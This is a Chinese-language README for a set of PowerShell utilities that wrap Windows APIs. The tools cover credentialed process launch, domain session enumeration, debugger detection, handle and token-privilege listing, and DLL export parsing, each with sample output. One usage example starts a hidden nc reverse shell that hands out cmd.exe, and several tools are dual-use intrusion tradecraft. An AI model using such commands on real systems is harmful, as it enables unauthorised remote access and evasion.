网上有大量出色的工具和资源可用 PowerShell 完成大多数任务,但有时仍需要为特定目的编写一个实用工具,或填补概念上的空白。这个集合里的 PowerShell 实用程序是我出于兴趣或因为有特定用途而整理的。
因此,它们的可用性可能因人而异,但欢迎提交 issue 或 fork 并加以改造!
以下是一些关于从 PowerShell 访问 Windows API 的参考资源:
功能上等同于 Windows 的 "runas.exe",使用 Advapi32::CreateProcessWithLogonW。``` Start cmd with a local account. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1
Start cmd with remote credentials. Equivalent to "/netonly" in runas. C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2
### Invoke-NetSessionEnum
使用 Netapi32::NetSessionEnum 枚举已加入域的设备上的活动会话。```
Enumerate active sessions on "SomeHostName".
C:\PS> Invoke-NetSessionEnum -HostName SomeHostName
使用 Kernel32::CreateProcess 从 PowerShell 实现对进程创建的细粒度控制。``` Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1
Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1
### Detect-Debug
展示多种技术,用于从 PowerShell 检测内核/用户模式调试器的存在。```
Sample below is x64 Win8, WinDbg attached to PowerShell.
C:\PS> Detect-Debug
[+] Detect Kernel-Mode Debugging
[?] SystemKernelDebuggerInformation: False
[+] Detect User-Mode Debugging
[?] CloseHandle Exception: Detected
[?] IsDebuggerPresent: Detected
[?] CheckRemoteDebuggerPresent: Detected
[?] PEB!BeingDebugged: Detected
[?] PEB!NtGlobalFlag: Detected
[?] DebugSelf: Detected
使用 NtQuerySystemInformation::SystemHandleInformation 获取指定进程中打开的句柄列表,支持 x32/x64。``` Get handles for PID 2288 C:\PS> Get-Handles -ProcID 2288
[>] PID 2288 --> notepad [+] Calling NtQuerySystemInformation::SystemHandleInformation [?] Success, allocated 449300 byte result buffer
[>] Result buffer contains 28081 SystemHandleInformation objects [>] PID 2288 has 71 handle objects
PID ObjectType HandleFlags Handle KernelPointer AccessMask
2288 Directory NONE 0x0004 0x88E629F0 0x00000000 2288 File NONE 0x0008 0x84560C98 0x00100000 2288 File NONE 0x000C 0x846164F0 0x00100000 2288 Key NONE 0x0010 0xA3067A80 0x00020000 2288 ALPC Port NONE 0x0014 0x8480C810 0x001F0000 2288 Mutant NONE 0x0018 0x8591FEB8 0x001F0000 2288 Key NONE 0x001C 0x96719C48 0x00020000 2288 Event NONE 0x0020 0x850C6838 0x001F0000 ...Snip...
### Get-TokenPrivs
打开进程的句柄,并使用 Advapi32::GetTokenInformation 列出与进程令牌关联的权限。```
Get token privileges for PID 3836
C:\PS> Get-TokenPrivs -ProcID 3836
[?] PID 3836 --> calc
[+] Process handle: 1428
[+] Token handle: 1028
[+] Token has 5 privileges:
LUID Privilege
---- ---------
19 SeShutdownPrivilege
23 SeChangeNotifyPrivilege
25 SeUndockPrivilege
33 SeIncreaseWorkingSetPrivilege
34 SeTimeZonePrivilege
Get-Exports 获取 DLL 导出,并可选地提供 C++ 包装器输出(与 ExportsToC++ 相同,但无需 VS 和已编译的二进制文件)。为此,它将 DLL 字节读入内存,然后对其进行解析(不使用 LoadLibraryEx)。因此,无论 PowerShell 的位数如何,你都可以解析 x32/x64 DLL。``` PS C:> Get-Exports -DllPath C:\Windows\System32\ubpm.dll
[?] 32-bit Image!
[>] Time Stamp: 07/15/2016 18:07:55 [>] Function Count: 16 [>] Named Functions: 16 [>] Ordinal Base: 1 [>] Function Array RVA: 0x2F578 [>] Name Array RVA: 0x2F5B8 [>] Ordinal Array RVA: 0x2F5F8
Ordinal ImageRVA FunctionName
1 0x000242A0 UbpmAcquireJobBackgroundMode
2 0x00004750 UbpmApiBufferFree
3 0x00004E30 UbpmCloseTriggerConsumer
4 0x000135E0 UbpmInitialize
5 0x00008D00 UbpmOpenTriggerConsumer
6 0x000242C0 UbpmReleaseJobBackgroundMode
7 0x00013230 UbpmSessionStateChanged
8 0x000242E0 UbpmTerminate
9 0x00003BD0 UbpmTriggerConsumerConfigure
10 0x000040C0 UbpmTriggerConsumerControl
11 0x00025B10 UbpmTriggerConsumerControlNotifications
12 0x00025B40 UbpmTriggerConsumerQueryStatus
13 0x0000E1B0 UbpmTriggerConsumerRegister
14 0x000043F0 UbpmTriggerConsumerSetDisabledForUser
15 0x00012480 UbpmTriggerConsumerSetStatePublishingSecurity
16 0x00005330 UbpmTriggerConsumerUnregister
### Get-SystemModuleInformation
使用 NtQuerySystemInformation::SystemModuleInformation 获取已加载模块的列表及其基地址和大小(x32/x64)。```
PS C:\> Get-SystemModuleInformation
[+] Calling NtQuerySystemInformation::SystemModuleInformation
[?] Success, allocated 55656 byte result buffer
[?] Result buffer contains 188 SystemModuleInformation objects
ImageBase ImageSize ImageName
--------- --------- ---------
0xFFFFF80314C0D000 0x749000 \SystemRoot\system32\ntoskrnl.exe
0xFFFFF80315356000 0x6C000 \SystemRoot\system32\hal.dll
0xFFFFF803149ED000 0x9000 \SystemRoot\system32\kd.dll
0xFFFFF88000CB5000 0x5C000 \SystemRoot\System32\drivers\CLFS.SYS
0xFFFFF88000D11000 0x23000 \SystemRoot\System32\drivers\tm.sys
0xFFFFF88000D34000 0x15000 \SystemRoot\system32\PSHED.dll
0xFFFFF88000D49000 0xA000 \SystemRoot\system32\BOOTVID.dll
0xFFFFF88000D53000 0x7F000 \SystemRoot\system32\CI.dll
0xFFFFF88001068000 0x63000 \SystemRoot\System32\drivers\msrpc.sys
0xFFFFF880010CB000 0xC2000 \SystemRoot\system32\drivers\Wdf01000.sys
0xFFFFF8800118D000 0x10000 \SystemRoot\system32\drivers\WDFLDR.SYS
...Snip...